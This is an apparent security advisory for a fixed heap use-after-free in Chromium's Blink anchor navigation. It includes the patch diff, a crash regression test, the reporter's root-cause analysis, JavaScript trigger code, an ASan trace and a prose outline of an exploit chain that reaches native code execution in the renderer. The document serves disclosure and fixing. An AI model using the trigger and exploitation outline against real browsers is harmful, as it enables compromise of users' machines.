Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in HTML
DescriptionUse after free in HTML
ComponentHTML
Sub-componentBlink>HTML
Bug ClassUAF
Tracker565674529
Fix commit29c3240bc3b5 (chromium/src) +26/-1
CISA KEVNot listed
CreditedOpenAI Codex Security (amyb)
Disclosed2026-10-06

Changed Functions

FunctionChangeNotes
if
third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
modified

Files Changed

  • third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
  • third_party/blink/renderer/core/html/html_anchor_element.cc
  • third_party/blink/web_tests/LeakExpectations
From 29c3240bc3b593965b5f78522cdf5c64562fee9e Mon Sep 17 00:00:00 2001
From: David Baron <[email protected]>
Date: Tue, 29 Sep 2026 11:25:42 -0700
Subject: [PATCH] Reland "Avoid dangling reference in HTMLAnchorElementBase::NavigateToHyperlink."

This is a reland of commit 280ca3161bda00f116803a7064aba3ce91a7d59e
with the addition of a new change to LeakExpectations.

Original change's description:
> Avoid dangling reference in HTMLAnchorElementBase::NavigateToHyperlink.
>
> Fixed: 565674529
> Change-Id: Ia3248d945dc01328e8f354ec28d7cfcadafb87f3
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8464608
> Auto-Submit: David Baron <[email protected]>
> Commit-Queue: David Baron <[email protected]>
> Reviewed-by: Joey Arhar <[email protected]>
> Commit-Queue: Joey Arhar <[email protected]>
> Cr-Commit-Position: refs/heads/main@{#1706396}

Fixed: 565674529
Bug: 567487270
Change-Id: I3011a6ac54d8228f8a52601b324b7054a4aa2c9e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8480519
Auto-Submit: David Baron <[email protected]>
Commit-Queue: Joey Arhar <[email protected]>
Reviewed-by: Joey Arhar <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1707303}
---
diff --git a/third_party/blink/renderer/core/html/html_anchor_element.cc b/third_party/blink/renderer/core/html/html_anchor_element.cc
index e6b0d557c..7bfebda 100644
--- a/third_party/blink/renderer/core/html/html_anchor_element.cc
+++ b/third_party/blink/renderer/core/html/html_anchor_element.cc
@@ -415,7 +415,7 @@
   frame_request.SetNavigationPolicy(navigation_policy);
   frame_request.SetClientNavigationReason(ClientNavigationReason::kAnchorClick);
   frame_request.SetSourceElement(this);
-  const AtomicString& target =
+  const AtomicString target =
       frame_request.CleanNavigationTarget(GetEffectiveTarget());
 
   AnchorElementUtils::HandleRelAttribute(frame_request, frame->GetSettings(),
diff --git a/third_party/blink/web_tests/LeakExpectations b/third_party/blink/web_tests/LeakExpectations
index 815b0584..8946db3c 100644
--- a/third_party/blink/web_tests/LeakExpectations
+++ b/third_party/blink/web_tests/LeakExpectations
@@ -62,3 +62,5 @@
 crbug.com/532874152 external/wpt/html/semantics/document-metadata/the-link-element/link-error-handler-triggers-abort-crash.html [ Crash ]
 
 crbug.com/424246290 external/wpt/payment-handler/same-object-attributes.https.html [ Pass Failure ]
+
+crbug.com/567487270 external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html [ Crash ]
diff --git a/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html b/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
new file mode 100644
index 0000000..6fb8ead
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
@@ -0,0 +1,23 @@
+<!DOCTYPE HTML>
+<meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
+<body>
+<script>
+  let target_element;
+  trustedTypes.createPolicy("default", {
+    createScript: input => {
+      if (target_element) {
+        for (let i = 0; i < 64; ++i)
+          target_element.setAttribute(`data-added-${i}`, "value");
+        target_element = undefined;
+      }
+      return input;
+    }
+  });
+  target_element = document.createElement("a");
+  target_element.href = "javascript:void(0)";
+  target_element.target = "new-frame";
+  for (let i = 0; i < 6; ++i)
+    target_element.setAttribute(`data-original-${i}`, "value");
+  document.body.appendChild(target_element);
+  target_element.click();
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/LeakExpectations b/third_party/blink/web_tests/LeakExpectations
index 815b0584..8946db3c 100644
--- a/third_party/blink/web_tests/LeakExpectations
+++ b/third_party/blink/web_tests/LeakExpectations
@@ -62,3 +62,5 @@
 crbug.com/532874152 external/wpt/html/semantics/document-metadata/the-link-element/link-error-handler-triggers-abort-crash.html [ Crash ]
 
 crbug.com/424246290 external/wpt/payment-handler/same-object-attributes.https.html [ Pass Failure ]
+
+crbug.com/567487270 external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html [ Crash ]
diff --git a/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html b/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
new file mode 100644
index 0000000..6fb8ead
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/trusted-types/navigate-to-javascript-url-009-crash.html
@@ -0,0 +1,23 @@
+<!DOCTYPE HTML>
+<meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
+<body>
+<script>
+  let target_element;
+  trustedTypes.createPolicy("default", {
+    createScript: input => {
+      if (target_element) {
+        for (let i = 0; i < 64; ++i)
+          target_element.setAttribute(`data-added-${i}`, "value");
+        target_element = undefined;
+      }
+      return input;
+    }
+  });
+  target_element = document.createElement("a");
+  target_element.href = "javascript:void(0)";
+  target_element.target = "new-frame";
+  for (let i = 0; i < 6; ++i)
+    target_element.setAttribute(`data-original-${i}`, "value");
+  document.body.appendChild(target_element);
+  target_element.click();
+</script>
Loading diff…

Original Bug Report

reported by [email protected]

Blink anchor navigation uses freed target-attribute storage leads to arbitrary code exec

A heap use-after-free in Blink’s anchor navigation affects Google Chrome 153.0.8010.52 on Linux x64. A page activates a javascript: link whose Trusted Types default policy grows the link’s attribute collection. Navigation then uses the freed target-attribute storage. The same flaw exists in Chromium 156.0.8067.0. Opening a crafted page can execute native code in the renderer.

Root cause

GetEffectiveTarget() returns a reference to the anchor’s target attribute. NavigateToHyperlink() keeps that reference during navigation:

const AtomicString& target =
    frame_request.CleanNavigationTarget(GetEffectiveTarget());
// ...
frame->Tree().FindOrCreateFrameForNavigation(frame_request, target);

An unresolved target reaches CreateNewWindow(). Its JavaScript-URL check invokes the page’s Trusted Types default policy. The callback can grow the anchor’s attribute vector, which moves the attributes and frees their former storage. Window creation then copies the dangling frame name, reading and retaining an attacker-replaceable StringImpl*.

trustedTypes.createPolicy('default', {
  createScript(source) {
    for (let i = 0; i < 64; ++i)
      anchor.setAttribute('data-expand-' + i, 'x');
    return source;
  }
});
anchor.href = 'javascript:0';
anchor.target = 'new-frame';
anchor.click();

2ef09109c0ec introduced the reentrant check. It shipped in Chrome 108.0.5359.71.

Proof of concept

Run an ASan Chrome with poc.html:

chrome --headless --no-sandbox file:///absolute/path/to/poc.html

Chromium 156.0.8067.0 produces this ASan trace:

ERROR: AddressSanitizer: heap-use-after-free
READ of size 8 ... thread T0 (chrome)
    #0 blink::ChromeClientImpl::CreateWindowDelegate(...) scoped_refptr.h:284:27
    #1 blink::CreateNewWindow(...) create_window.cc:378:44
    #2 blink::FrameTree::FindOrCreateFrameForNavigation(...) frame_tree.cc:252:13
    #3 blink::HTMLAnchorElementBase::NavigateToHyperlink(...) html_anchor_element.cc:407:21
freed by thread T0 (chrome) here:
    #1 blink::Vector<blink::Attribute, ...>::ReallocateBuffer(...) partition_allocator.h:45:50
    ...
    #21 blink::TrustedTypesCheckForJavascriptURLinNavigation(...) trusted_types_util.cc:933:10

Exploitability

The synthetic click reaches the invalid access before popup permission is checked. Replacing the freed attributes with a forged string lets the page release native buffers that other objects retain. The exploit uses overlapping IndexedDB keys and Web Audio buffers for arbitrary native reads and writes, locates the renderer stack and libc, and overwrites a saved return address to call system(). The payload executes id on Chrome 153.0.8010.52. These stages reuse the anchor lifetime bug. Chrome’s OS sandbox is a separate boundary.

Keep an owning target snapshot before navigation can execute script:

const AtomicString target =
    frame_request.CleanNavigationTarget(GetEffectiveTarget());

The regression grows and changes the anchor’s attributes from the default-policy callback. It crashes the original ASan browser and passes with the fix. The patched browser also passes five neighboring Trusted Types navigation tests.

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

CREDIT INFORMATION

OpenAI Codex Security (amyb)

View on issue tracker